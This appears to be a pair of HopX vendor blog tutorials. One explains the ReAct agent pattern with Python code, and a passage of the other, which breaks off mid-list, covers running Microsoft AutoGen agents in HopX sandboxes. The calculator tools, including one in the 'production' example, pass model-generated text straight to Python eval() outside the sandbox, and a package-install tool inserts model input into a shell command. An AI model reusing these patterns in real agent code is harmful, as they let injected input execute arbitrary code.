search("FastAPI features performance") Observation: FastAPI is async-first, automatic OpenAPI docs... Thought: Now I have enough information to write a comparison. Action: write_report(...) # Each step is traceable ``` ### 2. Grounded in Observations Pure reasoning (Chain-of-Thought) can hallucinate. ReAct grounds reasoning in real observations: ``` # Chain-of-Thought (can hallucinate) Thought: The capital of Australia is Sydney because it's the largest city. Answer: Sydney # WRONG # ReAct (grounded in facts) Thought: I should verify the capital of Australia Action: search("capital of Australia") Observation: The capital of Australia is Canberra, not Sydney... Thought: The observation confirms it's Canberra, not Sydney as I initially thought. Answer: Canberra # CORRECT ``` ### 3. Flexible Problem Solving The agent can adapt its approach based on observations: ``` Thought: I'll try to get the weather from the primary API Action: api_call("weather.primary.com/london") Observation: Error 503 - Service unavailable Thought: Primary API is down. I'll try the backup API instead. Action: api_call("weather.backup.com/london") Observation: {"temp": 15, "condition": "cloudy"} Thought: Got the weather from backup. I can now answer the question. ``` ## Basic ReAct Implementation Here's a complete, minimal ReAct agent: ```python import openai import json import re class ReActAgent: def __init__(self, tools: dict): self.client = openai.OpenAI() self.tools = tools self.max_steps = 10 def run(self, task: str) -> str: """Execute task using ReAct loop""" prompt = self._build_initial_prompt(task) for step in range(self.max_steps): # Get next thought and action from LLM response = self.client.chat.completions.create( model="gpt-4o", messages=[{"role": "user", "content": prompt}], stop=["Observation:"] # Stop before observation ) output = response.choices[0].message.content prompt += output # Check if agent wants to finish if "Final Answer:" in output: return self._extract_final_answer(output) # Extract and execute action action, action_input = self._parse_action(output) if action is None: prompt += "\nObservation: Could not parse action. Please use format 'Action: tool_name[input]'\n" continue # Execute the action observation = self._execute_action(action, action_input) prompt += f"\nObservation: {observation}\n" return "Max steps reached without finding answer." def _build_initial_prompt(self, task: str) -> str: tool_descriptions = "\n".join([ f"- {name}: {func.__doc__ or 'No description'}" for name, func in self.tools.items() ]) return f"""Answer the following question using the available tools. Available tools: {tool_descriptions} Use this format: Thought: [Your reasoning about what to do next] Action: tool_name[input] Observation: [Result of the action - will be provided] ... (repeat Thought/Action/Observation as needed) Thought: I now have enough information to answer. Final Answer: [Your final answer] Question: {task} """ def _parse_action(self, text: str) -> tuple: """Extract action and input from LLM output""" # Match pattern: Action: tool_name[input] match = re.search(r'Action:\s*(\w+)\[([^\]]*)\]', text) if match: return match.group(1), match.group(2) # Alternative format: Action: tool_name("input") match = re.search(r'Action:\s*(\w+)\("([^"]*)"\)', text) if match: return match.group(1), match.group(2) return None, None def _execute_action(self, action: str, action_input: str) -> str: """Execute the specified action""" if action not in self.tools: return f"Error: Unknown tool '{action}'. Available: {list(self.tools.keys())}" try: result = self.tools[action](action_input) return str(result) except Exception as e: return f"Error executing {action}: {str(e)}" def _extract_final_answer(self, text: str) -> str: """Extract the final answer from output""" match = re.search(r'Final Answer:\s*(.+)', text, re.DOTALL) if match: return match.group(1).strip() return text # Define tools def search(query: str) -> str: """Search the web for information""" # In production, use a real search API return f"Search results for '{query}': ..." def calculate(expression: str) -> str: """Evaluate a mathematical expression""" try: return str(eval(expression)) except: return "Error: Could not evaluate expression" def lookup(term: str) -> str: """Look up a term in the knowledge base""" knowledge = { "python": "A high-level programming language", "react": "A JavaScript library for building UIs", } return knowledge.get(term.lower(), f"No entry found for '{term}'") # Usage agent = ReActAgent(tools={ "search": search, "calculate": calculate, "lookup": lookup }) result = agent.run("What is 25% of the population of France?") print(result) ``` Example trace: ``` Thought: I need to find the population of France first, then calculate 25% of it. Action: search[population of France 2024] Observation: The population of France is approximately 68 million people. Thought: Now I can calculate 25% of 68 million. Action: calculate[68000000 * 0.25] Observation: 17000000.0 Thought: I now have the answer. Final Answer: 25% of France's population is 17 million people. ``` ## ReAct with Code Execution For agents that can run code, ReAct is particularly powerful: ```python from hopx import Sandbox import openai import re class CodeReActAgent: def __init__(self): self.client = openai.OpenAI() self.sandbox = None self.max_steps = 15 def run(self, task: str) -> str: # Create sandbox for the session self.sandbox = Sandbox.create(template="code-interpreter") try: return self._react_loop(task) finally: self.sandbox.kill() def _react_loop(self, task: str) -> str: prompt = self._build_prompt(task) for step in range(self.max_steps): response = self.client.chat.completions.create( model="gpt-4o", messages=[{"role": "user", "content": prompt}], stop=["Observation:"] ) output = response.choices[0].message.content prompt += output print(f"\n--- Step {step + 1} ---") print(output) if "Final Answer:" in output: return self._extract_answer(output) # Parse action action_type, action_content = self._parse_action(output) if action_type == "python": observation = self._run_code(action_content) elif action_type == "bash": observation = self._run_bash(action_content) elif action_type == "read_file": observation = self._read_file(action_content) elif action_type == "write_file": path, content = action_content.split("|||", 1) observation = self._write_file(path.strip(), content.strip()) else: observation = f"Unknown action type: {action_type}" prompt += f"\nObservation: {observation}\n" print(f"Observation: {observation[:500]}...") return "Max steps reached" def _build_prompt(self, task: str) -> str: return f"""You are an AI assistant that solves tasks by writing and executing code. Available actions: - python[code]: Execute Python code - bash[command]: Run a bash command - read_file[path]: Read a file - write_file[path|||content]: Write content to a file Format: Thought: [Your reasoning] Action: action_type[content] Observation: [Will be provided] Rules: - Always think before acting - Check observations carefully for errors - Use print() to see outputs in Python - When done, provide Final Answer: Task: {task} """ def _parse_action(self, text: str) -> tuple: # Match: Action: python[...] match = re.search(r'Action:\s*(\w+)\[(.*?)\](?:\s*$|\n)', text, re.DOTALL) if match: return match.group(1), match.group(2) # Match multi-line code blocks match = re.search(r'Action:\s*(\w+)\[(.*)\]', text, re.DOTALL) if match: return match.group(1), match.group(2) return None, None def _run_code(self, code: str) -> str: self.sandbox.files.write("/app/script.py", code) result = self.sandbox.commands.run("python /app/script.py", timeout=30) if result.exit_code == 0: return result.stdout if result.stdout else "(No output)" else: return f"Error (exit code {result.exit_code}):\n{result.stderr}" def _run_bash(self, command: str) -> str: result = self.sandbox.commands.run(command, timeout=30) output = result.stdout + result.stderr return output if output else "(No output)" def _read_file(self, path: str) -> str: try: return self.sandbox.files.read(path) except Exception as e: return f"Error reading file: {e}" def _write_file(self, path: str, content: str) -> str: try: self.sandbox.files.write(path, content) return f"Successfully wrote to {path}" except Exception as e: return f"Error writing file: {e}" def _extract_answer(self, text: str) -> str: match = re.search(r'Final Answer:\s*(.+)', text, re.DOTALL) return match.group(1).strip() if match else text # Usage agent = CodeReActAgent() result = agent.run(""" Download the iris dataset, train a simple classifier, and report the accuracy. """) print(f"\nFinal Result:\n{result}") ``` Example trace: ``` --- Step 1 --- Thought: I need to download the iris dataset and train a classifier. I'll use scikit-learn which has the iris dataset built-in. Action: python[ from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split from sklearn.ensemble import RandomForestClassifier from sklearn.metrics import accuracy_score # Load data iris = load_iris() X, y = iris.data, iris.target # Split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) # Train clf = RandomForestClassifier(n_estimators=100) clf.fit(X_train, y_train) # Evaluate predictions = clf.predict(X_test) accuracy = accuracy_score(y_test, predictions) print(f"Accuracy: {accuracy:.2%}") ] Observation: Accuracy: 96.67% --- Step 2 --- Thought: The classifier trained successfully with 96.67% accuracy. I have enough information to provide the final answer. Final Answer: I trained a Random Forest classifier on the Iris dataset and achieved 96.67% accuracy on the test set. ``` ## ReAct Variations ### 1. ReAct with Self-Reflection Add a reflection step after observations: ```python def _build_prompt_with_reflection(self, task: str) -> str: return f"""... Format: Thought: [Your reasoning about what to do] Action: action_type[content] Observation: [Result - will be provided] Reflection: [What did I learn? Did it work? What should I do next?] ...""" ``` ### 2. ReAct with Critique Add an inner critic to catch mistakes: ```python class CriticalReActAgent(ReActAgent): def _react_step(self, thought: str, action: str) -> str: # First, critique the proposed action critique = self._critique_action(thought, action) if "PROBLEM:" in critique: # Revise action based on critique revised = self._revise_action(thought, action, critique) return self._execute_action(*self._parse_action(revised)) return self._execute_action(*self._parse_action(action)) def _critique_action(self, thought: str, action: str) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"""Critique this action. Is it correct and safe? Thought: {thought} Action: {action} If there's a problem, start with "PROBLEM:" and explain. If it looks good, say "APPROVED".""" }] ) return response.choices[0].message.content ``` ### 3. Parallel ReAct Run multiple ReAct chains and merge: ```python import asyncio async def parallel_react(task: str, perspectives: list[str]) -> str: """Run multiple ReAct agents with different perspectives""" async def run_with_perspective(perspective: str): prompt = f"You are a {perspective}. {task}" return await react_agent.run_async(prompt) results = await asyncio.gather(*[ run_with_perspective(p) for p in perspectives ]) # Merge results return merge_answers(results) # Usage answer = await parallel_react( "What are the pros and cons of microservices?", perspectives=["software architect", "DevOps engineer", "developer"] ) ``` ## ReAct vs Other Patterns ### ReAct vs Chain-of-Thought | Aspect | Chain-of-Thought | ReAct | |--------|-----------------|-------| | Actions | None | Yes | | Grounded | No (can hallucinate) | Yes (observations) | | Debuggable | Partially | Very | | Token usage | Lower | Higher | | Best for | Reasoning tasks | Action tasks | ### ReAct vs Plan-and-Execute | Aspect | ReAct | Plan-and-Execute | |--------|-------|------------------| | Planning | Step by step | Upfront | | Adaptability | High | Lower | | Predictability | Lower | Higher | | Overhead | Lower | Higher | | Best for | Dynamic tasks | Known workflows | ### When to Use ReAct ✅ **Use ReAct when:** - Tasks require both reasoning and action - You need to debug agent behavior - The path to solution is unclear - Real-time adaptation is needed ❌ **Avoid ReAct when:** - Task is simple (one action) - You need maximum speed - Token budget is very limited - Task is purely reasoning (no actions) ## Production Considerations ### 1. Structured Output for Parsing Use JSON for more reliable parsing: ```python def _build_prompt_structured(self, task: str) -> str: return f"""... Respond in JSON format: {{ "thought": "your reasoning", "action": {{ "tool": "tool_name", "input": "tool input" }} }} Or when finished: {{ "thought": "final reasoning", "final_answer": "your answer" }} ...""" ``` ### 2. Token Management ReAct can consume many tokens. Manage context: ```python class TokenAwareReActAgent: def __init__(self, max_context_tokens: int = 8000): self.max_tokens = max_context_tokens self.history = [] def _manage_context(self, prompt: str) -> str: """Trim history if context too long""" estimated_tokens = len(prompt) // 4 if estimated_tokens > self.max_tokens: # Keep first (task) and last N steps self.history = self.history[:1] + self.history[-5:] prompt = self._rebuild_prompt() return prompt ``` ### 3. Error Recovery Handle failures gracefully: ```python def _execute_with_recovery(self, action: str, input: str, max_retries: int = 3): for attempt in range(max_retries): try: result = self.tools[action](input) return result except Exception as e: if attempt == max_retries - 1: return f"Failed after {max_retries} attempts: {e}" # Let agent know about failure return f"Attempt {attempt + 1} failed: {e}. You can retry." ``` ### 4. Observation Limits Truncate long observations: ```python def _truncate_observation(self, obs: str, max_length: int = 2000) -> str: if len(obs) <= max_length: return obs return obs[:max_length] + f"\n... (truncated, {len(obs) - max_length} chars omitted)" ``` ## Complete Production Example ```python from hopx import Sandbox import openai import json from datetime import datetime class ProductionReActAgent: def __init__(self): self.client = openai.OpenAI() self.max_steps = 20 self.trace = [] def run(self, task: str, tools: dict) -> dict: """Run ReAct loop and return structured result""" self.trace = [] start_time = datetime.now() # Create sandbox if code execution needed sandbox = None if "run_code" in tools: sandbox = Sandbox.create(template="code-interpreter") tools["run_code"] = lambda code: self._safe_execute(sandbox, code) try: messages = [ {"role": "system", "content": self._system_prompt(tools)}, {"role": "user", "content": task} ] for step in range(self.max_steps): # Get next action response = self.client.chat.completions.create( model="gpt-4o", messages=messages, response_format={"type": "json_object"} ) output = json.loads(response.choices[0].message.content) self.trace.append({ "step": step + 1, "thought": output.get("thought"), "action": output.get("action"), "timestamp": datetime.now().isoformat() }) # Check for completion if "final_answer" in output: return { "success": True, "answer": output["final_answer"], "steps": step + 1, "duration": (datetime.now() - start_time).seconds, "trace": self.trace } # Execute action action = output.get("action", {}) tool_name = action.get("tool") tool_input = action.get("input") if tool_name not in tools: observation = f"Error: Unknown tool '{tool_name}'" else: try: observation = str(tools[tool_name](tool_input)) except Exception as e: observation = f"Error: {e}" # Truncate long observations if len(observation) > 3000: observation = observation[:3000] + "... (truncated)" self.trace[-1]["observation"] = observation # Add to messages messages.append({ "role": "assistant", "content": json.dumps(output) }) messages.append({ "role": "user", "content": f"Observation: {observation}" }) return { "success": False, "error": "Max steps reached", "steps": self.max_steps, "trace": self.trace } finally: if sandbox: sandbox.kill() def _system_prompt(self, tools: dict) -> str: tool_desc = "\n".join([ f"- {name}: {func.__doc__ or 'No description'}" for name, func in tools.items() ]) return f"""You are a ReAct agent. Think step by step, take actions, observe results. Available tools: {tool_desc} Always respond with JSON: {{ "thought": "your reasoning about what to do next", "action": {{ "tool": "tool_name", "input": "tool input" }} }} When you have the final answer: {{ "thought": "I now have enough information", "final_answer": "your complete answer" }} Be thorough but efficient. Verify important facts.""" def _safe_execute(self, sandbox: Sandbox, code: str) -> str: """Safely execute code in sandbox""" sandbox.files.write("/app/code.py", code) result = sandbox.commands.run("timeout 30 python /app/code.py") if result.exit_code == 0: return result.stdout or "(No output)" elif result.exit_code == 124: return "Error: Execution timed out after 30 seconds" else: return f"Error:\n{result.stderr}" # Usage agent = ProductionReActAgent() def web_search(query: str) -> str: """Search the web for information""" # Implement with your search API return f"Results for '{query}': ..." def calculator(expression: str) -> str: """Evaluate a math expression""" return str(eval(expression)) def run_code(code: str) -> str: """Execute Python code safely""" pass # Handled by agent result = agent.run( task="What is the GDP per capita of the top 3 economies?", tools={ "search": web_search, "calculate": calculator, "run_code": run_code } ) print(f"Answer: {result['answer']}") print(f"Steps: {result['steps']}") print(f"Duration: {result['duration']}s") # Inspect trace for debugging for step in result['trace']: print(f"\nStep {step['step']}:") print(f" Thought: {step['thought']}") print(f" Action: {step.get('action')}") print(f" Observation: {step.get('observation', '')[:100]}...") ``` ## Conclusion ReAct is one of the most practical agentic patterns: - **Transparent reasoning** — See exactly what the agent is thinking - **Grounded actions** — Decisions based on real observations - **Adaptive execution** — Adjusts approach based on results - **Easy debugging** — Full trace of thought-action-observation Start with basic ReAct for any task requiring tools. Add reflection for complex reasoning. Use structured output for production reliability. The agent that thinks before acting outperforms the agent that acts blindly. Every time. --- Ready to build ReAct agents with code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that let your agents think, act, and observe safely. ## Further Reading - [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals - [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Tools for ReAct agents - [The Reflection Pattern](/blog/ai-agents/reflection-pattern-self-correcting-ai) — Add reflection to ReAct - [Memory Pattern](/blog/ai-agents/memory-pattern-ai-agents) — Give ReAct agents memory - [ReAct Paper](https://arxiv.org/abs/2210.03629) — Original research from Google - [LangChain ReAct](https://python.langchain.com/docs/modules/agents/agent_types/react) — ReAct implementation --- ## Microsoft AutoGen with Isolated Code Execution Using HopX URL: https://hopx.ai/blog/tutorials/autogen-hopx-isolated-execution/ Category: Tutorials Published: 2025-11-26 # Microsoft AutoGen with Isolated Code Execution Using HopX > ⚠️ **Update:** AutoGen is now in maintenance mode. Microsoft recommends migrating to [Agent Framework](/blog/tutorials/microsoft-agent-framework-hopx), the unified successor combining AutoGen and Semantic Kernel. This tutorial remains useful for existing AutoGen projects. Microsoft's AutoGen framework makes building multi-agent systems remarkably intuitive. Agents converse, collaborate, and execute code—all through natural conversation. But AutoGen's default code execution relies on Docker or local execution, both problematic in production. This tutorial shows how to replace AutoGen's execution backends with HopX sandboxes: faster startup, better isolation, and no Docker dependency. ## Why Replace Docker? AutoGen's default `DockerCommandLineCodeExecutor` has issues: | Challenge | Docker | HopX | |-----------|--------|------| | Cold start | 2-5 seconds | ~100ms | | Resource overhead | Heavy | Minimal | | Setup complexity | Docker daemon required | API key only | | Security | Container escape risks | MicroVM isolation | | Cleanup | Manual container management | Automatic | ## Architecture ``` ┌─────────────────────────────────────────────────────────────────┐ │ AutoGen Conversation │ │ │ │ ┌────────────────┐ ┌────────────────┐ │ │ │ User Proxy │◀───────▶│ Assistant │ │ │ │ Agent │ │ Agent │ │ │ └────────────────┘ └────────────────┘ │ │ │ │ │ │ │ Code to execute │ Generate code │ │ ▼ │ │ │ ┌────────────────────────────────────────────────────────────┐ │ │ │ HopX Code Executor │ │ │ │ │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ MicroVM 1 │ │ MicroVM 2 │ │ MicroVM 3 │ │ │ │ │ │ (Python) │ │ (Bash) │ │ (Node) │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ 100ms startup, full isolation │ │ │ └────────────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────┘ ``` ## Prerequisites ```bash pip install pyautogen hopx-ai ``` Set environment variables: ```bash export OPENAI_API_KEY="sk-..." export HOPX_API_KEY="..." ``` ## Step 1: Create the HopX Code Executor Build an AutoGen-compatible executor using HopX: ```python from autogen.coding import CodeExecutor, CodeBlock, CodeResult from autogen.coding.base import CodeExtractor from hopx import Sandbox from typing import List, Optional, Union import re class HopXCodeExecutor(CodeExecutor): """Execute code in HopX sandboxes instead of Docker.""" def __init__( self, timeout: int = 60, template: str = "code-interpreter", sandbox_ttl: int = 300 ): self.timeout = timeout self.template = template self.sandbox_ttl = sandbox_ttl self._sandbox: Optional[Sandbox] = None @property def sandbox(self) -> Sandbox: """Get or create sandbox (lazy initialization).""" if self._sandbox is None: self._sandbox = Sandbox.create( template=self.template, ttl=self.sandbox_ttl ) return self._sandbox def execute_code_blocks( self, code_blocks: List[CodeBlock] ) -> CodeResult: """Execute a list of code blocks and return the result.""" outputs = [] exit_code = 0 for block in code_blocks: language = block.language.lower() code = block.code # Map language to HopX language lang_map = { "python": "python", "python3": "python", "py": "python", "bash": "bash", "sh": "bash", "shell": "bash", "javascript": "javascript", "js": "javascript", "typescript": "typescript", "ts": "typescript" } exec_lang = lang_map.get(language, "python") try: result = self.sandbox.runCode( code, language=exec_lang, timeout=self.timeout ) output = "" if result.stdout: output += result.stdout if result.stderr: output += f"\nSTDERR:\n{result.stderr}" outputs.append(output.strip()) if result.exitCode != 0: exit_code = result.exitCode except Exception as e: outputs.append(f"Execution error: {str(e)}") exit_code = 1 return CodeResult( exit_code=exit_code, output="\n\n".join(outputs) ) def reset(self): """Reset the executor (destroy sandbox).""" if self._sandbox: try: self._sandbox.kill() except: pass self._sandbox = None def __del__(self): """Cleanup on deletion.""" self.reset() ``` ## Step 2: Basic Two-Agent Conversation Create a simple assistant that can execute code: ```python from autogen import AssistantAgent, UserProxyAgent, config_list_from_json # LLM configuration config_list = [ { "model": "gpt-4o", "api_key": os.environ["OPENAI_API_KEY"] } ] llm_config = { "config_list": config_list, "temperature": 0, "timeout": 120 } # Create executor executor = HopXCodeExecutor(timeout=60) # Assistant agent - generates code assistant = AssistantAgent( name="assistant", llm_config=llm_config, system_message="""You are a helpful AI assistant that can write and execute Python code. When asked to solve problems: 1. Write clear, well-documented Python code 2. Use print() to show results 3. Handle potential errors gracefully Available libraries: pandas, numpy, matplotlib, seaborn, scipy, scikit-learn, requests. For visualizations, save to /app/plot.png using plt.savefig('/app/plot.png') """ ) # User proxy - handles code execution user_proxy = UserProxyAgent( name="user_proxy", human_input_mode="NEVER", # No human intervention code_execution_config={ "executor": executor }, max_consecutive_auto_reply=10 ) # Start conversation result = user_proxy.initiate_chat( assistant, message="Calculate the first 100 prime numbers and find their sum." ) print("\nFinal result:", result.summary) # Cleanup executor.reset() ``` ## Step 3: Persistent State Across Messages For multi-turn conversations that need persistent state: ```python class PersistentHopXExecutor(CodeExecutor): """Executor that maintains state across messages.""" def __init__(self, timeout: int = 60): self.timeout = timeout self._sandbox: Optional[Sandbox] = None @property def sandbox(self) -> Sandbox: if self._sandbox is None: self._sandbox = Sandbox.create( template="code-interpreter", ttl=600 # 10 minute TTL for long conversations ) # Initialize with common imports self._sandbox.runCode(""" import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns import json from datetime import datetime print("Environment ready!") """, language="python", timeout=30) return self._sandbox def execute_code_blocks(self, code_blocks: List[CodeBlock]) -> CodeResult: outputs = [] exit_code = 0 for block in code_blocks: try: result = self.sandbox.runCode( block.code, language="python", timeout=self.timeout ) output = result.stdout or "" if result.stderr and result.exitCode != 0: output += f"\nError: {result.stderr}" outputs.append(output.strip()) if result.exitCode != 0: exit_code = result.exitCode except Exception as e: outputs.append(f"Error: {e}") exit_code = 1 return CodeResult(exit_code=exit_code, output="\n\n".join(outputs)) def upload_file(self, local_path: str, sandbox_path: str): """Upload a file to the sandbox.""" with open(local_path, 'rb') as f: self.sandbox.files.write(sandbox_path, f.read()) def download_file(self, sandbox_path: str) -> bytes: """Download a file from the sandbox.""" return self.sandbox.files.read(sandbox_path) def reset(self): if self._sandbox: self._sandbox.kill() self._sandbox = None # Usage executor = PersistentHopXExecutor() # Multiple turns that build on each other user_proxy.initiate_chat(assistant, message="Load pandas and create a DataFrame called 'df' with columns A, B, C and 100 random rows") user_proxy.send(assistant, message="Add a column D that is A + B * C") user_proxy.send(assistant, message="Show statistics and save a histogram of column D") # State persists across all messages! ``` ## Step 4: Multi-Agent Group Chat Build a team of specialized agents: ```python from autogen import GroupChat, GroupChatManager # Create specialized agents coder = AssistantAgent( name="Coder", llm_config=llm_config, system_message="""You are an expert Python programmer. Write clean, efficient code. Focus on implementation. Always include docstrings and comments.""" ) analyst = AssistantAgent( name="Analyst", llm_config=llm_config, system_message="""You are a data analyst. Interpret code outputs and explain findings in plain English. Ask clarifying questions if needed.""" ) reviewer = AssistantAgent( name="Reviewer", llm_config=llm_config, system_message="""You are a code reviewer. Check for bugs, suggest improvements, verify correctness. Be constructive and specific.""" ) # User proxy with HopX executor executor = PersistentHopXExecutor() user_proxy = UserProxyAgent( name="User", human_input_mode="NEVER", code_execution_config={"executor": executor} ) # Create group chat group_chat = GroupChat( agents=[user_proxy, coder, analyst, reviewer], messages=[], max_round=15 ) manager = GroupChatManager( groupchat=group_chat, llm_config=llm_config ) # Start the conversation user_proxy.initiate_chat( manager, message=""" Analyze this problem: We have sales data with columns: date, product, region, amount. Create synthetic data, then: 1. Calculate total sales by product 2. Find the best performing region 3. Identify monthly trends 4. Create a visualization Work together to solve this step by step. """ ) executor.reset() ``` ## Step 5: Tool-Using Agents Create agents with specific tools backed by HopX: ```python from autogen import register_function from hopx import Sandbox # Global sandbox for tools tool_sandbox: Optional[Sandbox] = None def get_tool_sandbox() -> Sandbox: global tool_sandbox if tool_sandbox is None: tool_sandbox = Sandbox.create(template="code-interpreter", ttl=600) return tool_sandbox def run_data_analysis(code: str) -> str: """Run Python code for data analysis in a secure sandbox.""" sandbox = get_tool_sandbox() result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: return result.stdout or "Code executed successfully" return f"Error: {result.stderr}" def create_visualization(code: str) -> str: """Create a visualization and save it.""" sandbox = get_tool_sandbox() # Ensure matplotlib backend is set full_code = f""" import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt {code} plt.savefig('/app/chart.png', dpi=150, bbox_inches='tight') plt.close() print("Chart saved to /app/chart.png") """ result = sandbox.runCode(full_code, language="python", timeout=60) if result.exitCode == 0: return "Visualization created and saved to /app/chart.png" return f"Error: {result.stderr}" def install_package(package: str) -> str: """Install a Python package in the sandbox.""" sandbox = get_tool_sandbox() result = sandbox.runCode(f"pip install {package}", language="bash", timeout=120) if result.exitCode == 0: return f"Successfully installed {package}" return f"Failed to install {package}: {result.stderr}" # Register tools with assistant assistant_with_tools = AssistantAgent( name="assistant", llm_config=llm_config, system_message="""You have access to tools for data analysis. Available tools: - run_data_analysis: Execute Python code for data analysis - create_visualization: Create charts and plots - install_package: Install additional Python packages Use these tools to help the user with their analysis tasks.""" ) # Register the functions register_function( run_data_analysis, caller=assistant_with_tools, executor=user_proxy, name="run_data_analysis", description="Execute Python code for data analysis" ) register_function( create_visualization, caller=assistant_with_tools, executor=user_proxy, name="create_visualization", description="Create a visualization with matplotlib" ) register_function( install_package, caller=assistant_with_tools, executor=user_proxy, name="install_package", description="Install a Python package" ) ``` ## Step 6: Sequential Agent Pipeline Chain agents in a specific order: ```python from autogen import initiate_chats # Define the pipeline executor = PersistentHopXExecutor() # Data Engineer - Prepares data data_engineer = AssistantAgent( name="DataEngineer", llm_config=llm_config, system_message="You prepare and clean data. Write code to load, clean, and transform data." ) # Data Scientist - Analyzes data data_scientist = AssistantAgent( name="DataScientist", llm_config=llm_config, system_message="You perform statistical analysis and modeling. Build on the prepared data." ) # Report Writer - Creates reports report_writer = AssistantAgent( name="ReportWriter", llm_config=llm_config, system_message="You create clear, concise reports from analysis results." ) user_proxy = UserProxyAgent( name="User", human_input_mode="NEVER", code_execution_config={"executor": executor} ) # Define chat sequence chat_sequence = [ { "sender": user_proxy, "recipient": data_engineer, "message": "Create a sample sales dataset with 1000 rows", "summary_method": "last_msg" }, { "sender": user_proxy, "recipient": data_scientist, "message": "Analyze the data created by the data engineer", "summary_method": "last_msg" }, { "sender": user_proxy, "recipient": report_writer, "message": "Write a summary report based on the analysis", "summary_method": "last_msg" } ] # Execute pipeline results = initiate_chats(chat_sequence) # Print final report print("\n=== Final Report ===") print(results[-1].summary) executor.reset() ``` ## Error Handling and Recovery Build robust agents that handle failures: ```python class RobustHopXExecutor(CodeExecutor): """Executor with retry logic and error recovery.""" def __init__(self, max_retries: int = 3): self.max_retries = max_retries self._sandbox: Optional[Sandbox] = None def _create_sandbox(self) -> Sandbox: return Sandbox.create(template="code-interpreter", ttl=300) @property def sandbox(self) -> Sandbox: if self._sandbox is None: self._sandbox = self._create_sandbox() return self._sandbox def execute_code_blocks(self, code_blocks: List[CodeBlock]) -> CodeResult: outputs = [] exit_code = 0 for block in code_blocks: result = self._execute_with_retry(block) outputs.append(result.output) if result.exit_code != 0: exit_code = result.exit_code return CodeResult(exit_code=exit_code, output="\n\n".join(outputs)) def _execute_with_retry(self, block: CodeBlock) -> CodeResult: """Execute a single code block with retries.""" last_error = None for attempt in range(self.max_retries): try: result = self.sandbox.runCode( block.code, language="python", timeout=60 ) return CodeResult( exit_code=result.exitCode, output=result.stdout or result.stderr or "" ) except Exception as e: last_error = str(e) # Reset sandbox on failure self._sandbox = None if attempt < self.max_retries - 1: import time time.sleep(1) return CodeResult( exit_code=1, output=f"Failed after {self.max_retries} attempts: {last_error}" ) def reset(self): if self._sandbox: try: self._sandbox.kill() except: pass self._sandbox = None ``` ## Complete Working Example Production-ready AutoGen with HopX: ```python """ AutoGen Multi-Agent System with HopX Code Execution """ import os from typing import Optional, List from autogen import AssistantAgent, UserProxyAgent, GroupChat, GroupChatManager from autogen.coding import CodeExecutor, CodeBlock, CodeResult from hopx import Sandbox # Verify environment assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY" assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY" class HopXExecutor(CodeExecutor): """Production-ready HopX executor for AutoGen.""" def __init__(self, timeout: int = 60, persist: bool = True): self.timeout = timeout self.persist = persist self._sandbox: Optional[Sandbox] = None @property def sandbox(self) -> Sandbox: if self._sandbox is None: self._sandbox = Sandbox.create( template="code-interpreter", ttl=600 if self.persist else 60 ) return self._sandbox def execute_code_blocks(self, code_blocks: List[CodeBlock]) -> CodeResult: outputs = [] final_exit_code = 0 for block in code_blocks: try: lang = "bash" if block.language.lower() in ["bash", "sh", "shell"] else "python" result = self.sandbox.runCode(block.code, language=lang, timeout=self.timeout) output = result.stdout or "" if result.stderr and result.exitCode != 0: output += f"\n{result.stderr}" outputs.append(output.strip()) if result.exitCode != 0: final_exit_code = result.exitCode except Exception as e: outputs.append(f"Error: {e}") final_exit_code = 1 self._sandbox = None # Reset on error return CodeResult(exit_code=final_exit_code, output="\n---\n".join(outputs)) def reset(self): if self._sandbox: self._sandbox.kill() self._sandbox = None def create_analysis_team(): """Create a multi-agent analysis team.""" llm_config = { "config_list": [{"model": "gpt-4o", "api_key": os.environ["OPENAI_API_KEY"]}], "temperature": 0 } executor = HopXExecutor(persist=True) # Agents coder = AssistantAgent( name="Coder", llm_config=llm_config, system_message="Expert Python coder. Write clear, efficient code." ) analyst = AssistantAgent( name="Analyst", llm_config=llm_config, system_message="Data analyst. Interpret results and provide insights." ) user = UserProxyAgent( name="User", human_input_mode="NEVER", code_execution_config={"executor": executor}, max_consecutive_auto_reply=5 ) # Group chat group_chat = GroupChat( agents=[user, coder, analyst], messages=[], max_round=12 ) manager = GroupChatManager(groupchat=group_chat, llm_config=llm_config) return user, manager, executor if __name__ == "__main__": user, manager, executor = create_analysis_team() try: user.initiate_chat( manager, message=""" Create a sales analysis: 1. Generate sample sales data (500 rows: date, product, region, amount) 2. Calculate total sales by product and region 3. Identify the top 3 products 4. Show monthly trends Execute code and explain findings. """ ) finally: executor.reset() print("\n✅ Sandbox cleaned up") ``` ## Best Practices ### 1. Always Clean Up ```python try: result = user_proxy.initiate_chat(assistant, message=task) finally: executor.reset() ``` ### 2. Use Persistent Sandbox for Multi-Turn ```python # For conversations that build on previous results executor = HopXExecutor(persist=True) # 10 min TTL ``` ### 3. Set Appropriate Timeouts ```python executor = HopXExecutor( timeout=120 # Longer for complex computations ) ``` ### 4. Handle Large Outputs ```python def execute_code_blocks(self, code_blocks): # ... execution ... output = result.stdout[:10000] # Truncate large outputs ``` ## Conclusion AutoGen + HopX gives you: - **Faster execution**: 100ms vs 2-5s Docker cold starts - **Better isolation**: MicroVM security vs container - **Simpler setup**: No Docker daemon required - **Auto cleanup**: Sandboxes destroyed automatically Your multi-agent systems can collaborate and execute code safely, without the operational overhead of Docker. --- Ready to upgrade your AutoGen agents? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms. ## Further Reading - [CrewAI Multi-Agent Pipelines](/blog/tutorials/crewai-multi-agent-pipelines-hopx) — CrewAI integration - [LangChain Tools](/blog/tutorials/langchain-tools-secure-code-execution) — LangChain integration - [AutoGen Documentation](https://microsoft.github.io/autogen/) — Official docs - [Multi-Agent 